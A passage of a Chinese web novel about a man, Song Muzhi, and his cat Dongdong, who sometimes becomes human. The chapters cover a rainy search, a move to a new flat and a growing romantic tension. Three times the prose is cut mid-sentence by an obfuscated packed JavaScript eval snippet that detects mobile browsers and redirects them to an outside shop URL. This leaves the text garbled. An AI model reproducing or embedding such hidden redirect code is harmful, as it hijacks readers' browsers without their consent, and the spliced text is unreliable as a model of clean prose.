底下又发来一张图片,正是冬冬一母鸡蹲的姿势卧在草丛里,眯着眼睛睡觉。但图片拍摄的时候还是大晴天,不像现在这般狂风骤雨。 宋木之迅速跟人确定好具体位置,打点好提供线索的酬劳。趁着还没到深夜,他独自驱车往老小区走,不一会儿便将高楼大厦甩在身后了。 雨还在下着,宋木之开启雨刷才能勉强看清楚路,车辆堪堪停好后,他一把抓起手边的雨伞,快步向老小区最深处的猫猫聚集地跑去。 顶着狂风骤雨打伞不是一件容易的事,好在距离不是很远,宋木之找到的时候冬冬正在跟小橘猫头蹭着头,浑身上下的毛也湿了大半。 “冬冬!” 宋木之喘着气在不远处停下来,看着草丛里的冬冬,却又不知道该说什么。 雨伞被风刮得歪七扭八,宋木之浑身都被雨水浸湿,好不狼狈。他浓墨般的黑发垂落下来,雨水跟断线的珠子似的顺着脸颊向下砸,又喊了一声:“冬冬……” 猫猫们显然是没想到宋木之会来,原本挤作一团的猫四散而逃,躲在更深的草丛里不敢出来。而小梨花立刻挡在冬冬面前,厉声哈气试图喝退坏坏的人类。 当事猫冬冬见不得自家主人被凶,刚想跟小梨花解释,就听到宋木之的脚步声正在向它而来。 “冬冬,你怎么不说一声就跑出去啊。”宋木之将雨伞拨弄归正,支在地上给猫挡雨,“就再给我一次机会好不好……” 宋木之手撑着膝盖,小心翼翼地摸了摸冬冬,他手上全是雨水,惹得冬冬原本还有些蓬松的毛发沾到一起,他又收回了手。 冬冬急切地喵一声,也向前走一步到宋木之怀里:“你怎么找到我的?” 宋木之语气接近于祈求,他听不懂冬冬在说什么,但喵来喵去的很像是在拒绝,于是又微颤着声音说:“你就跟我回去吧,我们的新家都找到了,就等你回去一起住呢。” 猫离开的小区距离这里有五六公里,宋木之完全想象不到冬冬是经历多少长途跋涉,才会以一只猫的形态回到熟悉的地方,他不知道该怎么跟猫交流,只能一遍又一遍地说着挽留的话。 “是我对不起冬冬,忽略了冬冬的想法,”宋木之眼眶有些发酸,他也不清楚在脸颊上流落的是雨水还是泪水,“别离开我去流浪可不可以。” “我只有你一个家人了……” 15. 那只三花 听到这话的冬冬动作一怔,忽然想起之前在手机相册里看到过的那几张病例照片,它那时候认识的字很少,唯独有一张照片印象深刻。 那是一个骨瘦如柴的女人,干瘪的脸上深深印着黑眼窝,嘴唇像床单那样白,看起来病了很久,浑身都透着淡淡的、绝望的感觉。 现在想来,病床上的那个人的眼睛与宋木之有着几分相似,冬冬也从没听宋木之提起过他的家人。 猫不忍心看人难过,它伸出只猫爪,轻轻碰一下宋木之的膝盖,有些担心地看着人。 冬冬黑葡萄似的眼睛眨了眨,宋木之抹去脸上的雨水,一把将猫抱在怀里,他衣服上的雨水顺着抬起的手臂滑落,隐约感觉到圆润的猫头往怀里靠了靠。 宋木之如鲠在喉,说话时像是有刀片在剌嗓子:“这是愿意跟我回家的意思对吧?冬冬你愿意的对吧?” 他生怕猫有不同意见,双手捞着猫就往车上走。 寻猫行动以宋木之单方面认为的“强制爱”结束,冬冬露出只眼睛,透过他手臂喵喵叫着,跟围观全程的流浪猫们告别。 猫猫大会的成员们不知道人在说什么,也不明白冬冬喵个半天人能不能听懂,但它们知道,人根本不像冬冬所说的那么不爱猫。 可能是当局者迷吧,猫猫也不懂。 找到猫的宋木之哪都没去,直接驱车来到他新租的房子。 一进门,宋木之就把猫放在还没来得及收拾的转椅上,有些迫切地解释:“你看,这是我们以后的新家。” “以前都是我不好,这个大房子就专门留给你住好不好?”宋木之推着转椅直奔主卧,“要是你不开心的话我再买点人造草坪放家里,在阳台上种点花全都留给你玩。” “还有还有,这里是我给你准备的大床,等你以后再变成人就睡在这里。” 宋木之带着冬冬大致看一眼主卧的构造——实际上也不算什么构造,新家都没来得及收拾,一眼扫过去就是光秃秃的大片白墙和原本有的家具,紧接着宋木之又推着转椅往阳台走,那是一个封闭式的阳台,落地窗外的景色层层叠叠,深得冬冬的心。 新家两室一厅,很快就介绍完毕了。但宋木之担心猫不喜欢新家,又把猫抱在怀里肚皮向上,顺手拿个毛巾坐在阳台给猫擦身子,口中还在极力挽回:“以后我每天都会带你出去遛弯,你要是想小区里的猫猫们就带着猫罐头一起去看它们好不好?” 冬冬乖巧地躺在人怀里,静静听着宋木之对着猫头滔滔不绝,时不时喵一声作为回应。 但听着听着,冬冬就觉得有些不对劲了。 “我们冬冬最乖了,以后都不要离开我好不好?”宋木之轻轻捏捏冬冬的肉垫,在猫的耳朵上亲了一下。 难道人不讨厌冬冬给他添的麻烦吗? 冬冬突然觉得猫以前有点蠢,现在它看着宋木之好几天没收拾的样子,才发觉到做了一个多么愚蠢的决定,干嘛要在家里胡思乱想让人担心? 渐渐地,风小了,雨也快停了。 猫爷冬冬身上的水被宋木之吹干,又重新找回猫猫大王的气势,迈着猫步傲视群雄般熟悉新家的气味,还不忘分心担忧着宋木之的状态。 新房子看起来比原先的环境好很多,窗明几净,木地板比大块大块的瓷砖看起来更加养眼,冬冬很快就在阳台门口选了个舒适的位置卧着。 那里温度更低,阳台门大开时还有微风吹过,对于猫来说好不惬意。 宋木之安抚完猫才终于得空洗个澡,原本老小区的东西基本都搬完了,接下来就是收拾新家。 老朋友扫地机又在清扫地面的灰尘,家具布局大致上是确定好的,宋木之只需要将自己的行李原封不动转移到合适的位置,关键是猫房需要重新拧螺丝安装。 猫一见接下来要装弄它的猫房,三两步就从阳台边上跑向卧室,用翘起来的尾巴毛若有若无地蹭了蹭宋木之。 “喵嗷。” 宋木之双腿盘坐在地上,揉揉猫头道:“冬冬等我慢慢装啊,不要急。” 猫被这么一说便安静了,圆润的猫头凑到宋木之手边,好奇地看着他研究新的透明猫窝。 其实冬冬最喜欢宋木之给它做的猫窝,将拖到地上的窗帘打一个结,挽成一团,再把结向上翻塞到最里面,就成一个大小刚刚好的简易版猫窝。 不过这猫窝只能在冬冬刚来的时候卧,稍大一点就容易被愈发圆润的冬冬坐散架。 猫房一整面墙都被用来钉木板,形成一条冬冬跑酷的路线。最下面安装两个猫抓板和猫抓滚筒,向右边延伸出一个浅木色三层阶梯,直直向上是一个小型的猫房子与平台站脚,正好适合猫休息。阶梯向左上是两米长的条形走廊,悬空那一面还设有低矮围栏作为防护。 至于冬冬最喜欢的透明半圆形猫窝,最后被严加固定钉在另一面墙上。 在冬冬的捣乱型帮助下,宋木之熟能生巧,几个小时就解决完猫房的建设计划,“包工头”冬冬严谨地视察猫房工作,并且“喵”一声表示非常满意。 除此之外,冬冬牌头号饲养员宋木之还发现那窗台只有一柞宽,猫站上去畏手畏脚的,于是宋木之特地把原先在客厅兼餐厅用的小桌子放在主卧窗边,方便冬冬跳上桌子眺望窗外的景色建设。 一番收拾下来,家就收拾得差不多了,如今天色已晚,宋木之是时候收拾他的房间铺床睡觉了。 不过冬冬似乎比以前还要更粘他,稀罕一会儿新猫房后,便又亦步亦趋地跟在宋木之身后,宋木之铺床单时猫就跳上床扑来扑去,宋木之回消息时它就扒拉手机,宋木之睡觉它就卧在身边不肯回猫房。 猫跟他的关系跟以前一样未曾改变,宋木之与冬冬头对着头睡在一起,有些不像是真实。 他抚摸着软软的猫,将尾巴不停在指尖缠绕。 夜渐渐沉下去了,喉间的刺痛感随着身旁平稳的呼吸而渐渐消散,一股平静感像是玉兰花香润物细无声地注入胸怀,宋木之耳边传来轻——重——轻重的蝉鸣声。 窗外的树枝影影绰绰,风更生、天更凉了。 低沉的夜色仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744129|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛落在宋木之身上,轻盈,而又像是漂浮在空中,远边的天际线与城市融为一体,慢慢地,宋木之就陷入梦中。 …… 接下来的几天宋木之都被特批了假,但他毕竟只是随口扯个理由,出于良心还是要回去上班的。 宋木之一有时间就看看猫在干什么,也有点想念冬冬变成人的日子,每天下班他都是第一个走,就算有工作也要带回家做。 夏天的夜来得越来越晚,天气越来越热,晚上出去遛弯正是再合适不过的事情了。 处理完为数不多的加班工作,宋木之兴致勃勃地走到玄关前,拿着牵引绳示意冬冬过来。 冬冬知道这就是要带它出去玩的意思,它步伐轻快地跑到门口,等待宋木之给它装备齐全,轻车熟路地走出门。 猫咪上街对于冬冬来说是不陌生的,他以人的视角看过世界,也知道人与人之间是如何相处的,在猫界简直就是个究极无敌猫老大,不过它对其他人没多大兴趣,出去玩时也习惯贴着路边走。 在草坪上嗅来嗅去是冬冬最喜欢的活动之一,那上面有各种各样的气味,有时还能闻到夏天独有的味道。有其他猫或者宠物狗过来交流时,冬冬就先按兵不动,任由对面先交换气味再尝试交朋友。 不过听闻猫与狗天生键位冲突,冬冬与宠物狗交流时总是会不太愉快,其中最让人恼火的是一只与它同花色的边牧。 原本冬冬看遍世间繁华,也尝过猫生酸甜苦辣,是不屑于与不太聪明的宠物们争锋的,可那边牧闻了闻气味后就开始不停绕着冬冬转圈,简直是莫名其妙。 冬冬忍一会儿边牧的奇怪行为以后,终于忍无可忍无需再忍,停下脚步冲着边牧哈一口气,面色凶狠地剜它一眼。 被凶的边牧有些不知所措,但显然是看出来猫对它有些不耐烦,便收住脚步,提起前面一只脚微微弯曲,看向主人。 那边牧主人也是个年轻人,立马给边牧发号施令让它回来,又有点不好意思地对宋木之解释:“不好意思啊,我家这个是退役犬,一遇见新朋友就喜欢先给牧一个小时。” 宋木之摆摆手表示没事,但冬冬都生气了,他也不想继续跟边牧同处在一条路上,简单打发边牧主人后就想往人少的公园走。 大概是因为花色相同,看起来有亲切感,边牧见冬冬走后也立马跟上它的步伐,一会儿在左边转头看着冬冬的侧脸,一会儿又绕到右边试图拦住冬冬的步伐。 冬冬微不可闻地叹一口气,脚步渐渐慢下来。 猫一停下来,咧着个大嘴的边牧就跑到前面腿伸直,像小猫伸懒腰一样邀请冬冬跟它一起玩,冬冬很想拒绝,但这时它以前的朋友——一只花色好看的三花猫,在草丛里喵喵叫,看样子是想跟冬冬待在一起,但又害怕它身旁体型巨大的边牧狗。 冬冬只抉择一秒钟,干脆利落地选择与三花猫一起玩,宋木之也被拽着,不得不往草坪深处走。 这时,边牧主人犹豫两声,有些支支吾吾地问宋木之:“要不加个联系方式,以后一起遛吧?” 16. 乱吃飞醋 宋木之转过头,那边牧主人看起来像是下极大的决心,老脸豁出去才为自家孩子说这样的话,怕宋木之不答应,他又继续说。 “我家满满特别喜欢跟你家猫玩,回去我再教教它怎么跟猫相处,你看……”边牧主人说话十分委婉,也留够谈话的空间。 “可以啊,不过我家冬冬应该不愿意跟着我走,要不你过来?”宋木之一口答应,隔着一条牵引绳的距离加上联系方式,又顺便问出他真正的目的,“我们这个小区有没有宠物的业主群?” 边牧主人动作顿一下,高兴地说:“有啊,当然有,我拉你进去吧。” “不过我这个主要是狗狗的群,感觉群里说话的猫主人比较少,你也可以问问他们有没有专门的猫猫群。”边牧主人能帮到宋木之非常开心,拽着还想跟猫一起玩的边牧,挥挥手就走。 宠物的群里有好几百人,宋木之看过一眼后便合上手机,又顺着冬冬的步子往前几步,专心看它与漂亮的三花猫喵来喵去。 听说三花是猫猫界里最好看的品种。 宋木之靠在一旁的树边,双手交叠环在身前发呆。 按理说冬冬也该到找个伴的年纪,初春发情的时候整夜整夜地叫个不停,他还没来得及带冬冬去绝育就变成人形,后来也没再听过冬冬对什么猫感兴趣,倒总是跟老小区的小橘猫蹭来蹭去的。 不过那只小橘猫明明是公的,它们应该只是单纯的关系好。 难道冬冬是在跟面前这只三花交流谈恋爱? 想到这里,宋木之心里恍然有些不舒服,他总觉得冬冬再怎么样也不单纯只是个猫,他还在等冬冬重新变成人的那一天,可他家的猫居然现在就要谈恋爱。 那他算什么?以前冬冬说的那些让人误会的话难道都是在说笑吗? 的确有这个可能,猫初次变成人什么都不明白,或许在猫看来只不过是习以为常的事,但就是让宋木之深深地误会猫是很喜欢他的。 宋木之独自一人纠结半天,又突然意识到他跟一只猫吃什么醋。 冬冬又没说过喜欢他,他也不是个男同性恋,莫名其妙来的想法实在是奇怪。他甩甩头,试图让自己清醒一点。 再看向两只猫时,三花猫亲昵地绕着冬冬转半圈,尾巴尖还像是撩拨般拂过耳侧,引得冬冬不由得向后退半步,又嗅嗅花猫的鼻尖。 大概是错觉,宋木之感觉冬冬看他一眼,眨眼的功夫便转移视线。 良久,三花猫在周围打转几圈后便又隐没在草丛里,冬冬前爪一伸,向前伸个懒腰,顺势走向宋木之腿边,仰头看他。 看来是谈完恋爱了。 宋木之躲开冬冬的眼神,将头转过去藏在浓重的夜色里,牵引绳微微扯动,冬冬不知又看见什么新奇的东西,他也跟着冬冬的方向向前走。 暖黄色路灯光洒在地上,渗进皮肤里,宋木之自后看着冬冬的背影,心中像是被挖空一块,许久都没有说话。 晚上回到家时,宋木之大致按照人能吃猫也能吃的标准,先给冬冬煮些剥皮虾和鸡胸肉,还加猫最不喜欢的青菜均衡营养,又添上矿泉水,这才再次进厨房准备人吃的晚饭。 自从变成人后冬冬就再也没吃过猫粮,这些天来不管有多麻烦,宋木之都会给他准备好各式各样的食物,真正实现猫主子的优渥生活。 冬冬餍足地舔舔嘴,伴随着厨房传来的锅铲翻动声开始舔毛。它还是很爱干净的,每次出去遛弯过后宋木之都会用湿纸巾给它擦一遍身子,除此之外冬冬还要自己“验收”一遍,猫毛舔到油光发亮才算正式完成。 接下来冬冬就只需要干干净净地等着晚上躺在宋木之怀里,这是猫每天最重要的事。 现在等着还为时尚早,冬冬一直对沙发上空的柜子很感兴趣,那里一定是个舒适的位置。 只见冬冬小腿一蹬,绕着新家的桌腿转半圈,一个蓄力跳上桌子,又顺势一个大跳上柜子,好巧不巧跳入最边上的一格,冬冬决定不为难自己做空中高难度动作,索性直接卧下来。 在空中书柜上安家的确视野很好,冬冬将手搭在一起,俯视时大有睥睨众生的感觉,就是身后的木盒有点硌屁股。 冬冬转头给木盒一个眼神,但木盒显然是没有get到意思,依旧安安静静地躺在最里面,冬冬沉思片刻,又将猫爪搭在木盒盖子上,细细研究一番后用力拨弄卡扣,那木盒子便应声而开。 这可难不倒猫,冬冬心里想着,猫爪轻轻碰一下盖子。 但那木盒盖子也不是等闲之辈,仅凭一只猫爪实在难以抗衡。冬冬只能两只猫爪齐齐上阵,一手扶着盖子,一手扶着盒身,以一种奇怪的姿势别着打开了木盒。 冬冬本想一探究竟木盒里的东西后就点到为止,可那木盒里面什么东西都有,夹在书里的干枯树叶,一张奄奄一息的蛇的照片,还有……前些日子冬冬才送给宋木之的玉兰花枝。 所有植物能烘干的都烘干,不能留作纪念的就洗成照片,安安静静地躺在那座大木盒子里,就这样被封存在冬冬从未注意过的地方。 原来以前那些大自然的礼物没有被宋木之转手扔掉,而是视若珍宝地保存下来,连搬家也没落下。 冬冬扒着木盒子的边缘呆滞许久,那些它再熟悉不过的东西拨弄着记忆。 它眨眨眼睛,下意识喵一声,纵身一跃跳上沙发,三步并作两步跑酷似的跑到厨房里,跳上灶台蹭蹭宋木之的手臂。 “喵嗷。” 宋木之连忙把灶台按钮转回去:“冬冬离火远一点,凑这么近会烧到你尾巴的。” 虽然火关了,但是锅还热着,宋木之一手的番茄汁不忍弄脏冬冬,于是顺水推舟用手臂将猫推远一些。 宋木之随手抓起抹布擦擦,刚想把猫抱下去,冬冬又将猫爪朝着人的脸颊凑近,宋木之还以为是孩子叛逆期要打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744130|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,身体下意识就往后仰,但冬冬没有,它只是轻轻抚摸着人的脸颊,又动作轻柔地点点。 宋木之在网上看到过,猫这样的动作是有事找他,于是他弯下腰慢慢靠近冬冬,全听猫爷发号施令。 发号施令没等来,猫爷冬冬试探着在他脖颈上亲一下,宋木之半抬着的手滞在空中,一时之间大脑都变得空白。 猫毛弄得人痒痒的,冬冬又伸出猫爪,扣着他领子不容置疑地往下拉,又在下巴处轻轻碰碰。 宋木之低垂着眼,不自觉地抬手摸脸。 也没沾上东西啊。 宋木之一脸疑惑地看向冬冬,他不知道这位猫主子作何感想,突然就一反常态跑过来跟他亲昵,但这可谓是宋木之与猫猫老大的又一重大突破,而且还是冬冬主动来的,都可以载入史册了。 宋木之决定出一本书,名字就叫做《从猫嫌狗不待见到咪咪喵喵求贴贴,我这些年做对了什么》。 当然,眼前出书这事还得另当别论,宋木之现在应该搞清楚的是冬冬这样做的原因。他压住嘴角问:“这是怎么?” 宋木之捧着冬冬的脸,检查一番过后发现上面没有任何伤痕,跟以前一样漂亮。正当他想猜猜猫爷其他的意思时,冬冬突然挣脱开他的双手,一溜烟就跑没影了。 只留下宋木之一个人在厨房里莫名其妙,锅都快冷了。 人的晚饭十分简单,宋木之懒得挥锅铲大展身手,就只做了西红柿炒鸡蛋,就着米饭简单吃一顿。 直到夜色完全黑下来,宋木之蜷缩着身子窝在沙发上看电视,怀里还抱着一只猫。 就算变回猫,冬冬也吵着闹着、喵个半天要看动物世界,尽管冬冬能看到的颜色极为有限,但还是看得津津有味,翻着肚皮在宋木之怀里乐不思蜀。 机会难得,宋木之暗爽着冬冬如此粘人,手还在不安分地揉着猫猫肚皮。他最喜欢把猫的毛弄乱,再看冬冬无奈地理顺自己的毛发。 动物世界依旧是网络剪辑大师出品,冬冬一边梳理被弄乱的猫毛,一边看着与它有几分相似的花豹猎食,时不时还会被惊叹到愣在原地。 “英雄不问出处,干饭不问岁数,化身腹愁者的豹豹来到自助餐厅……” 宋木之对这种视频兴趣不大,只是听个声音就拿起手机,余光瞥过桌旁的杂物箱时灵机一动,又把里面的旧手机拿出来,捣鼓半天。 终于,他找到设置里面的指纹锁选项,打开录入指纹页面,对着冬冬说:“来冬冬,我们试一下这个好不好?” 早就听闻手机上可以输入猫的鼻纹,宋木之还从来没实践过,正好旧手机是指纹解锁,完完全全适合猫大显身手。 闻言,冬冬疑惑地“喵呜”一声,微微仰头,反方向倒着看向人。 只是片刻的功夫,宋木之就将冰凉的手机贴在猫的鼻子上,惹得冬冬差点挤成对眼,在光亮下猫的瞳孔又变成椭圆形。 17. 一罐青苕 鼻纹锁很快就录入完成,宋木之还好奇地试了两次,尽管不是百分百成功,但多试几下还是能解锁手机。 宋木之不厌其烦地探索旧手机中的新功能——主要是猫能使用。见冬冬将毛都打理顺了,又手欠似的揉揉猫的肚子。 但身上的重量忽然一沉,宋木之眼前被一道黑影所笼罩,他缓缓从手机屏幕前抬头,冬冬正呆呆地看着他。 “哥。”冬冬圆润的眼中带着不知所措,如若不仔细观察很难看出来。 宋木之这下确定了,这声“哥”他的确担待不起,尤其是猫赤身裸体地变成人之后,只是看一眼就觉得不自在。 方才给猫揉肚子手位置太往下,差点就摸到重要部位,宋木之就差当场落荒而逃了。 “啊,变成人了。”宋木之像是被定在原地,跟个人机一样,连该说什么都反应不过来,“那个,哦,我去给你拿新衣服穿。” 冬冬一如既往地保持安静,眼神跟随着宋木之的身形移动,乖乖坐在沙发上等着。 衣服都放在主卧里,宋木之站在衣柜前拍拍脸颊,试图让自己头脑清醒一些,他千挑万选从一堆新衣服中拿了个适合当睡衣的短袖,又从抽屉里扯出新的裤衩子。 犹豫再三,他还是换一个更大号的,有意无意躲避着视线,一只手递给冬冬。 “你穿一下看合不合适,要是不合适我再帮你买个新的。”宋木之目不转睛地盯着动物世界,这时候花豹已经要枕着猎物的心脏休憩,冬冬也应该赶快去床上睡觉。 冬冬迅速穿好衣服,盘起一只腿仰头看着人。 “哥,你手机里的这是什么啊?” 宋木之随着他手指的方向看旧手机,那上面正好是他原先打开的相册,最显眼的就是他在医院拍的最后一张照片,姐姐躺在病床上冲他微笑。 他面色有些不自然地收起手机,想起这手机还得给变成人的冬冬用,随后又锁屏放在桌子上,随意敷衍一句“没什么”。 冬冬显然不会就此善罢甘休,他早在一个月前就看过这张照片,在宋木之找他回家的时候更是起了疑心,他从未见过宋木之提起他的家人,现在又闭口不提,成功挑起猫的好奇心。 但猫也不只会横冲直撞,猫生法则第N-1条就是不能强求他人。 于是冬冬又坐回沙发上,头靠在沙发背旁望着头顶的玻璃灯:“你知道吗哥,其实能变成人我很开心。” 宋木之:“?” 他不明白猫怎么突然说这个,只得坐下来慢慢听。 “我从很久以前就想变成人了,大概是你那天来给流浪猫们喂粮的时候。”冬冬不知是故意躲避人的眼睛,还是早就对吊在上面的玻璃灯有所好奇,眼睛始终没转到宋木之的身上,“其实我妈是个真正的猫猫侠,我没有那么远大的志向,只想跟着哥走。” 宋木之顾不得手机上的照片,威皱着眉头说:“你妈妈?那应该也是一只漂亮的猫吧。” “没错,但我觉得她威严更多一些,对我要求也高。”冬冬不自觉地陷入回忆,“我刚六个月的时候她就放我一个出去闯江湖了。” “那我们冬冬还挺厉害的。”宋木之回答。 “厉害吗?应该吧。”冬冬说,“所以我不知道她现在到底在哪里,不知道她还在不在这个世界上,就像你一样。” 宋木之抬起头,看向冬冬时忽然笑了:“什么像我一样?我可知道我家人在哪里。” 冬冬立马接道:“在哪里啊?” 被问的人动作微微一顿,这才发觉他竟然正在被一只猫套话。不过看冬冬的样子很想知道,本身也不是见不得人的事,他便只挑重点言简意赅地说:“他们都走了,以物质形式消失在这个世界上。” 无论是大学刚毕业的时候,还是去年临近冬天,户口本上逐渐只剩下宋木之一人,相依为命这种词太过厚重,他领养猫后过了大半年才明白其中的意思。 冬冬一知半解地点点头,眼中还带着不安的天真,宋木之忽然发觉跟猫说这些干什么。 人类的悲欢离合宋木之一个人体会过就好了,又何必强加于一只猫的身上。但他没想到,冬冬忽然走向他,像抱猫时一样将宋木之紧紧环进怀里。 冬冬不知道该说什么,但按照经验来说,人在猫难过的时候都会把猫抱在怀里哄,他又学着宋木之之前的动作轻轻拍了拍后背。 冬冬知道,人总说猫很高冷,但实际上哥才是最酷的,一个人就能解决很多事情,也从来不会跟猫抱怨。猫又一次深刻认识到他为哥着想的举动实在太傻了,怎么能离开哥呢。 宋木之完全没想到冬冬会这样做,如今冬冬再变成人形,已经完全能将他覆在怀里,笨拙地拍打后背的动作也有些好笑。 “我没事的——那个、既然时候也不早了,就赶快休息去吧。”宋木之拍拍他肩膀,贴心地说,“我感觉你从猫变成人也挺消耗精力的,晚上一定要好好休息,不允许偷偷玩开心消消乐知道吗?” 冬冬没看出人对他有排斥,心情非常好地点点头:“我知道了哥,那我们就去睡觉吧。” 说着,冬冬就拉起宋木之的手腕,一前一后走到主卧的大床前。 宋木之明白,这是猫在默认他们理应睡在一张床上。最开始那种男性之间的不自在如今消退大半,两个人睡一张床上也不是不可以,就是感觉有点负罪感而已…… 10分钟后,宋木之板板正正地躺在主卧床上,身侧是比他还要高一点的冬冬。 有些日子没见,冬冬似乎有在悄悄长身体。 “冬冬。”宋木之双手交叠搭在身上,眼睁着看漆黑一片的天花板,“你这个有没有什么规律可循啊?我以后好提前做准备……” 猫也交叠着双手搭在胸膛前,躺得端端正正:“没有,冬冬还不知道。” 宋木之嘴唇翕动,又想起之前联系过的猫帮。 自上次匆促拒绝后,猫帮就再没联系过他,只在最后发过来张各城市猫帮“据点”的分布图,宋木之观察过,整个号干净得找不到一点猫的痕迹,但发来的照片又没有ps过的迹象。 反正有地址,或许他可以先去猫帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744131|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看情况…… 宋木之总觉得直接把冬冬送去学习很像是在当甩手掌柜,就像不负责任的家长一样,到时候冬冬有没有被虐待都不能确定,他横想竖想怎么样都不放心,还不如先去看看情况。 没错,这个方法可行。 不过冬冬就开始就提到过“猫帮”这个字眼,肯定也有所了解,他得先问一下猫的意见。 “冬冬,我……” “哥是不是睡不着啊?” 冬冬同时开口,两人推辞半天后还是宋木之占上风,猫只好继续说:“要是哥不喜欢的话可以分开睡,我一个人也没问题的。” “嗯……?”宋木之侧过头看他,“你为什么会这么想?” 冬冬将半张脸埋在被窝里,声音闷闷地说:“哥不是每次都会在我睡着之后去沙发上睡嘛,我就想哥应该每天都很累,自己家里还要这么麻烦,我去睡那个小房间也可以。” “你睡哪个房间都行……不对,我不是讨厌跟冬冬睡在一张床上的意思。”宋木之连忙找补。 “不过你知道吗冬冬,人类是不会躺在一张床上的。”停顿半秒钟后,他又严谨地添上四个大字——一般来说。 冬冬紧抓字眼,就着这四个大字展开深刻讨论:“那不一般的情况是什么啊?” “嗯……只有两个相爱的人才会躺在一张床上。”宋木之说完又觉得不太严谨,又继续说,“这也是一般来说。” 冬冬这次没跟着咬字眼:“哥难道不爱我吗?” “爱是爱,但是……”人喜欢猫的那种爱怎么能跟爱情混为一谈呢?宋木之后半句话堵在嗓子眼里,出不来也下不去,“冬冬,其实我说的是想要跟对方度过一生的爱。” “难道哥不想跟我度过一生吗?” “哥当然想了。” 宋木之脱口而出,又冷不防被这句反问砸蒙了。这个逻辑链推理下来好像也没什么问题,他的确是想跟猫过一辈子,能陪猫多久就陪猫多久,可腰间逐渐攀上来的手告诉他好像也不是这样。 他握住冬冬的手,牵到两人的胸膛之间,一脸认真地解释:“冬冬,你听我说,这个世界上的爱有很多种,但绝对不是在你变成人什么都不懂的时候趁人之危,哄骗你开始一段新的关系。” “你从猫变成人满打满算也就一个月的时间,说白了只是大致明白这个世界的生存法则,猫喜欢我我明白,我当然也喜欢猫,这意味着我们可以同住在一个屋檐下,共同分享喜怒哀乐。”宋木之在昏暗夜色中看着冬冬的眼睛,缓缓说道,“社交礼仪之类的我可以慢慢教你,就算猫不想学也没关系,但是如果我们就这么稀里糊涂地睡在一张床上,在外人看来我们就是情侣、爱人的关系,这对于我一个活了20多年明白人情世故的人来说,简直就是衣冠禽兽。” 冬冬被他这副正经一样唬住了,也跟着正经起来:“什么一罐青苕?” “不是一罐……” 宋木之忽然感觉太阳穴在隐隐作痛。 得,这下别说人情世故,汉语词典也得翻出来看看了。 18. 猫猫探望 宋木之眼见说不明白,又将头转过去,语重心长地说:“反正关系是慢慢来的,改天我仔细跟你讲一讲。” “好吧。”冬冬点点头,手撑着枕头就要起来,宋木之问及时他解释,“哥不是说大家不会躺在一张床上吗?我还是去另一个房间睡吧,免得让别人误会。” 宋木之哭笑不得:“咱们家里哪有别人啊。” 不过分床睡也的确是他这么久以来一直强调的,冬冬不过是在听他的话而已,宋木之拉住冬冬撑在床边的手腕,又扶着肩膀让猫躺下去,自己转身向另外的卧室走。 临出门前,宋木之想起他有话还没说,转过头去正想跟冬冬提起猫帮的事,但话到嘴边又没说出声。 床边的窗帘没拉,灰白月光自窗外倾泻而下,给床上坐着的人身侧镀一层光,冬冬黑得发亮的眼睛正直直地看着他,那眼神中有说不出的滋味,烫得宋木之心跳漏一下,匆忙转移开目光,落荒而逃。 回到次卧的小床上,宋木之双手撑在脑后,眼前不断浮现临走前冬冬的神情。 得知真相的冬冬肯定是有些伤心的,但他也不说,就只会闷在心里默默成全,现在搞得被成全的宋木之心里也有点不得劲。 就算对着猫讲一大堆道理又能怎样,他合理怀疑以猫的智商,有极大概率只能听懂人不想跟猫睡的中心思想。 万一猫又不开心,出去流浪怎么办? 宋木之躺在单人床上辗转反侧,窗外的蝉鸣声此起彼伏,月光灰白得更甚,透过窗户缝隙丝丝缕缕地爬上宋木之的肩侧,亮得人睡不着觉。 他思虑再三,最终还是抱着枕头,悄咪咪地推开主卧室门。 担心的事并没有发生,此时已是深更半夜,冬冬将“人情世故”一股脑扔在身后,半蜷着身子睡着。 冬冬就算睡着也保留猫的习惯,只要是睡觉,就会将大半张脸都藏在被窝里,一靠近就能听到平稳匀速的呼吸声。 宋木之有些自作多情地放下心,抱着枕头进也不是、退也不是,仅仅犹豫两秒钟他便爬到床上,动作轻柔地调整好位置,便闭上了眼。 他只是有点担心冬冬罢了。 窗外的圆月升了又落,睡觉前折腾到大半夜,到最后连夜晚都显得十分短暂,宋木之感觉刚一闭眼,又到了上班时间。 他关掉在枕头下面震动的闹钟,下意识看向身旁的冬冬。 很好,没有被吵醒。 宋木之再一看手机时间,明晃晃的几个数字摆在眼前——早上8:45。 “我靠!怎么要迟到了!!!” 闹钟没吵醒的冬冬被宋木之惊天地泣鬼神的大喊声惊醒,睡眼朦胧地看着凭空出现在主卧的人,迷迷糊糊间问:“哥,你怎么在这里啊?” 